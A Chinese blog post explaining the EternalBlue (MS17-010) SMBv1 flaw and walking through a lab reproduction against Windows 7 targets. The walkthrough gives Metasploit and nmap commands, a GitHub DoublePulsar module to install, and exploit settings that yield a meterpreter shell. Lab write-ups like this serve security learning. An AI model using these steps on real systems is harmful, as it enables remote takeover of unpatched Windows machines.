Last updated on:February 18, 2023 pm
1 漏洞原理
1.1 简介
EternalBlue(在微软的MS17-010中被修复)是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。
从EternalBlue这个Exploit被影子经纪人公布到互联网上后,就成为了“明星”。这个Exploit被多款恶意软件利用。包括肆虐的WannaCrypt,无文件的勒索软件UIWIX和SMB蠕虫EternalRocks。
1.2 漏洞简析
Eternalblue利用了3个不同的bug
- 第一个是内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,由于错误地使用的WORD强制类型转换,导致在大非分页池(内核的数据结构,Large Non-Paged Kernel Pool)的缓冲区溢出。
- 第二个漏洞可以触发缓冲区溢出,这是由于SMB协议定义的两个子命令SMB_COM_TRANSACTION2和SMB_COM_NT_TRANSACT的差别。如果有太多的数据要包含在一个单独的包中,就需要_SECONDARY命令。TRANSACTION2和NT_TRANSACT的关键区别在于后者调用的数据包是前者大小的2倍。如果客户端使用NT_TRANSACT子命令在TRANSACTION2子命令前发送伪造的消息,就会出现验证错误。如果协议发现接收了2个分开的子命令,就会根据最后接收的包的类型来分配类型和大小。因为最后接收的包比较小,所以第一个包会占用比分配空间更多的空间。
- 一旦攻击者完成初始的溢出,就可以利用SMB v1中的第3个漏洞来进行Heap Spraying(堆喷射),导致在给定地址分配一块内存。然后,攻击者就可以写入和执行shellcode来控制系统。
2 漏洞复现
2.1 渗透Windows7 32-bit
2.1.1 实验环境
实验平台:
- 带有MS17-010漏洞的Windows 7 pro x86, 内部版本7601
- IP:192.168.188.136
- Kali Linux,用于渗透
- IP:192.168.188.135
实验配置:
kali没有32位机器的渗透模块,我们需要做以下配置
- 安装wine 32
# root 权限
dpkg --add-architecture i386
apt-get update
apt-get install wine32
- 拉取EternalBlue_Doublepulsar攻击模块
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
# 将模块拷贝到msf的相应目录
cd Eternalblue-Doublepulsar-metasploit
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
- 运行postgresql
service postgresql start
2.1.2 信息搜集
- nmap扫描
# root 权限
namp -sS -sV -Pn 192.168.188.136
发现该win7开放了445端口,可进一步采用msfconsole进行扫描分析
- 查看并使用辅助扫描模块测试目标是否可攻击
# 运行msfconsole工具
msfconsole
# 搜索ms17-010相关模块,并采用辅助模块进行测试
search ms17-010
# 发现有一个ms17_010的扫描检测模块可用, use
use auxiliary/scanner/smb/smb_ms17_010
# 设置RHOSTS项为192.168.188.136
set RHOSTS 192.168.188.136
# 运行该ms17_010检测模块
run
发现确实目标机器存在MS17-010,并提示可用之前git clone的DoublePulsar模块进行侵入
2.1.3 开始渗透
- 尝试攻击
# 使用doublepulsar攻击模块
use exploit/windows/smb/eternalblue_doublepulsar
# 设置RHOST项为192.168.188.136
set RHOST 192.168.188.136
# 查看攻击模块的配置,请特别注意DOUBLEPULSARPATH是否与你git clone下载的路径一致
show options
# 运行攻击模块
run
# 渗透并没有成功,修改PROCESSINJECT项为explorer.exe (修改为lsass.exe也可以)
set PROCESSINJECT explorer.exe
# 再次exploit,成功
run
meterpreter是一个为攻击者提供交互性shell以便于在目标机器上执行代码的命令行工具。渗透成功的后续攻击可以参考阅读【渗透】meterpreter提权
2.2 渗透Windows7 64-bit
相比于渗透Windows7 32-bit,渗透64位机器要简单得多,因为64位机器的渗透是msf内建支持的。
前几个步骤基本和渗透32位机器一致
2.2.1 信息搜集
- nmap扫描主机信息
- msfconsole采用scanner模块扫描检测ms17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.188.138 # Windows 7 x64
show options
run
2.2.2开始渗透
- 方法一:采用msf自带的eternalblue攻击模块
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.188 138 # Windows 7 x64
show options
run
成功拿到目标机器的Shell
- 方法二:采用github开源攻击模块DoublePulsar
步骤和攻击32位机器一致,但是需要配置wine64和wine32共存
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!